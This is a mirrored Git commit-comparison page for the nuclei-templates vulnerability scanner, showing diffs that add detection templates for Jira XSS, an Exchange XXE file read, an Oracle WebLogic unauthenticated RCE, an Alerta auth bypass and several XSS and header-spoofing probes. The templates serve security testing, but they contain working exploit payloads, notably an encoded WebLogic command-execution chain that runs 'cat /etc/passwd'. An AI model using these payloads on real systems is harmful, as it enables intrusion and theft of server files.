mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-11-07 08:36:19 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b85f5656c8 | ||
|
|
e9b57b3e9a | ||
|
|
f8eaaae3cb | ||
|
|
de55e6439d | ||
|
|
beeb8ca5b7 | ||
|
|
cd90698cb5 | ||
|
|
740f726208 | ||
|
|
7c1b99b2ac | ||
|
|
d2c0b785ba | ||
|
|
9893610bb1 | ||
|
|
6adbc5e25a | ||
|
|
acae0a9d48 | ||
|
|
449786eb6b | ||
|
|
a32e2e7540 | ||
|
|
5e911f5cd9 | ||
|
|
b239b4ff56 | ||
|
|
b175c2117c | ||
|
|
73c94b174c | ||
|
|
278982a441 | ||
|
|
a5f8b422e0 | ||
|
|
8503dd1471 | ||
|
|
048cc7183c | ||
|
|
baaba9036e |
No files matched your search
@@ -0,0 +1,24 @@
|
||||
id: cve-2019-3402
|
||||
|
||||
info:
|
||||
name: Jira - Reflected XSS using searchOwnerUserName parameter.
|
||||
author: pdteam
|
||||
severity: medium
|
||||
description: The ConfigurePortalPages.jspa resource in Jira before version 7.13.3 and from version 8.0.0 before version 8.1.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the searchOwnerUserName parameter.
|
||||
|
||||
# Source:- https://gist.github.com/0x240x23elu/891371d46a1e270c7bdded0469d8e09c
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}//secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- "<script>alert(1)</script>"
|
||||
part: body
|
||||
@@ -16,7 +16,7 @@ requests:
|
||||
|
||||
<!DOCTYPE xxe [
|
||||
<!ELEMENT name ANY >
|
||||
<!ENTITY sp SYSTEM "file:///etc/passwd">]>
|
||||
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||||
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
|
||||
<Request>
|
||||
<EMailAddress>aaaaa</EMailAddress>
|
||||
|
||||
@@ -0,0 +1,46 @@
|
||||
id: cve-2020-14882
|
||||
|
||||
info:
|
||||
name: Oracle WebLogic Server Unauthenticated RCE (and Patch Bypass)
|
||||
author: dwisiswant0
|
||||
severity: critical
|
||||
description: |
|
||||
Vulnerability in the Oracle WebLogic Server
|
||||
product of Oracle Fusion Middleware (component: Console).
|
||||
Supported versions that are affected are 10.3.6.0.0,
|
||||
12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0.
|
||||
Easily exploitable vulnerability allows unauthenticated
|
||||
attacker with network access via HTTP to compromise the server.
|
||||
Successful attacks of this vulnerability can result in takeover.
|
||||
|
||||
# References:
|
||||
# - https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
|
||||
# - https://twitter.com/jas502n/status/1321416053050667009
|
||||
# - https://youtu.be/JFVDOIL0YtA
|
||||
# - https://github.com/jas502n/CVE-2020-14882#eg
|
||||
|
||||
requests:
|
||||
- payloads:
|
||||
exec:
|
||||
- "type C:\\Windows\\win.ini" # Windows
|
||||
- "cat /etc/passwd" # *nix
|
||||
raw:
|
||||
- |
|
||||
POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
cmd: exec
|
||||
Connection: close
|
||||
Content-Type: application/x-www-form-urlencoded; charset=utf-8
|
||||
|
||||
_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession%28%22var%20m%20%3D%20java.lang.Class.forName%28%22weblogic.work.ExecuteThread%22%29.getDeclaredMethod%28%22getCurrentWork%22%29%3B%20var%20currThread%20%3D%20java.lang.Thread.currentThread%28%29%3B%20var%20currWork%20%3D%20m.invoke%28currThread%29%3B%20var%20f2%20%3D%20currWork.getClass%28%29.getDeclaredField%28%22connectionHandler%22%29%3B%20f2.setAccessible%28true%29%3B%20var%20connectionHandler%20%3D%20f2.get%28currWork%29%3B%20var%20f3%20%3D%20connectionHandler.getClass%28%29.getDeclaredField%28%22request%22%29%3B%20f3.setAccessible%28true%29%3B%20var%20request%20%3D%20f3.get%28connectionHandler%29%3B%20var%20command%20%3D%20request.getHeader%28%22cmd%22%29%3B%20var%20response%20%3D%20request.getResponse%28%29%3B%20var%20isWin%20%3D%20java.lang.System.getProperty%28%22os.name%22%29.toLowerCase%28%29.contains%28%22win%22%29%3B%20var%20listCmd%20%3D%20new%20java.util.ArrayList%28%29%3B%20var%20p%20%3D%20new%20java.lang.ProcessBuilder%28%22%22%29%3B%20if%28isWin%29%7Bp.command%28%22cmd.exe%22%2C%20%22%2Fc%22%2C%20command%29%3B%20%7Delse%7Bp.command%28%22%2Fbin%2Fbash%22%2C%20%22-c%22%2C%20command%29%3B%20%7D%20p.redirectErrorStream%28true%29%3B%20var%20process%20%3D%20p.start%28%29%3B%20var%20output%20%3D%20process.getInputStream%28%29%3B%20var%20scanner%20%3D%20new%20java.util.Scanner%28output%29.useDelimiter%28%22%5C%5C%5C%5CA%22%29%3B%20var%20out%20%3D%20scanner.next%28%29%3B%20var%20outputStream%20%3D%20response.getServletOutputStream%28%29%3B%20outputStream.write%28out.getBytes%28%29%29%3B%20outputStream.flush%28%29%3B%20response.getWriter%28%29.write%28%22%22%29%3B%20currThread.interrupt%28%29%3B%22%29
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
- "\\[(font|extension|file)s\\]"
|
||||
condition: or
|
||||
part: body
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -0,0 +1,34 @@
|
||||
id: cve-2020-26214
|
||||
info:
|
||||
|
||||
name: Alerta Authentication Bypass (CVE-2020-26214)
|
||||
author: CasperGN
|
||||
severity: critical
|
||||
description: Alerta prior to version 8.1.0 is prone to Authentication Bypass when using LDAP as authorization provider and the LDAP server accepts Unauthenticated Bind reqests.
|
||||
|
||||
# Reference: https://github.com/advisories/GHSA-5hmm-x8q8-w5jh
|
||||
# Reference: https://tools.ietf.org/html/rfc4513#section-5.1.2
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/api/config'
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: regex
|
||||
regex:
|
||||
- 'name":"Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
|
||||
- 'name": "Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
|
||||
condition: or
|
||||
extractors:
|
||||
- type: regex
|
||||
part: body
|
||||
name: alerta-version
|
||||
group: 1
|
||||
regex:
|
||||
- 'name":"Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
|
||||
- 'name": "Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
|
||||
@@ -2,7 +2,7 @@ id: server-status-localhost
|
||||
|
||||
info:
|
||||
name: Server Status Disclosure
|
||||
author: bauthard
|
||||
author: bauthard & geeknik
|
||||
severity: low
|
||||
|
||||
requests:
|
||||
@@ -14,6 +14,8 @@ requests:
|
||||
X-Remote-Addr: "127.0.0.1"
|
||||
X-Forwarded-For: "127.0.0.1"
|
||||
X-Originating-IP: "127.0.0.1"
|
||||
X-Host: "127.0.0.1"
|
||||
X-Forwarded-Host: "127.0.0.1"
|
||||
path:
|
||||
- "{{BaseURL}}/server-status"
|
||||
matchers:
|
||||
|
||||
@@ -2,7 +2,7 @@ id: basic-xss-prober
|
||||
|
||||
info:
|
||||
name: Basic XSS Prober
|
||||
author: nadino
|
||||
author: nadino & geeknik
|
||||
severity: low
|
||||
|
||||
# Basic XSS prober
|
||||
@@ -12,7 +12,15 @@ requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/%61%27%22%3e%3c%69%6e%6a%65%63%74%61%62%6c%65%3e"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "\"><injectable>"
|
||||
part: body
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "application/json"
|
||||
part: header
|
||||
negative: true
|
||||
@@ -5,8 +5,8 @@ info:
|
||||
# Name is the name of the template
|
||||
name: Top 15 XSS Check
|
||||
# Author is the name of the author for the template
|
||||
# Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, p
|
||||
author: foulenzer
|
||||
# Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, name, key, p
|
||||
author: foulenzer & geeknik
|
||||
# Severity is the severity for the template.
|
||||
severity: medium
|
||||
# Description optionally describes the template.
|
||||
@@ -16,6 +16,8 @@ requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E"
|
||||
redirects: true
|
||||
max-redirects: 1
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
@@ -25,4 +27,4 @@ requests:
|
||||
- type: word
|
||||
words:
|
||||
- "text/html"
|
||||
part: header
|
||||
part: header
|
||||
@@ -0,0 +1,24 @@
|
||||
id: kibana-detect
|
||||
|
||||
info:
|
||||
name: Kibana Service Detection
|
||||
author: petruknisme
|
||||
severity: info
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/login?next=%2F"
|
||||
- "{{BaseURL}}/bundles/login.bundle.js"
|
||||
- "{{BaseURL}}/bundles/kibana.style.css"
|
||||
headers:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "<title>Kibana</title>"
|
||||
- "kibanaLoaderWrap"
|
||||
- "kibanaLoader"
|
||||
- "xpack"
|
||||
- "Elasticsearch B.V"
|
||||
condition: or
|
||||
@@ -19,6 +19,7 @@ variables:
|
||||
jira_cve_6: cves/CVE-2020-14179.yaml
|
||||
jira_cve_7: cves/CVE-2020-14181.yaml
|
||||
jira_cve_8: cves/CVE-2019-8442.yaml
|
||||
jira_cve_9: cves/CVE-2019-3402.yaml
|
||||
|
||||
logic:
|
||||
|
|
||||
@@ -36,4 +37,5 @@ logic:
|
||||
jira_cve_6()
|
||||
jira_cve_7()
|
||||
jira_cve_8()
|
||||
jira_cve_9()
|
||||
}
|
||||
@@ -17,6 +17,8 @@ variables:
|
||||
wordpress_tmm_db_migrate: files/wordpress-tmm-db-migrate.yaml
|
||||
wordpress_social_metrics_tracker: vulnerabilities/wordpress-social-metrics-tracker.yaml
|
||||
w3c_total_cache_ssrf: vulnerabilities/w3c-total-cache-ssrf.yaml
|
||||
wordpress_wpcourses_info_disclosure: vulnerabilities/wordpress-wpcourses-info-disclosure.yaml
|
||||
sassy_social_share: vulnerabilities/sassy-social-share.yaml
|
||||
wordpress_cve: cves/CVE-2019-9978.yaml
|
||||
wordpress_cve_2: cves/CVE-2019-6715.yaml
|
||||
|
||||
|
||||
Reference in new issue
Block a user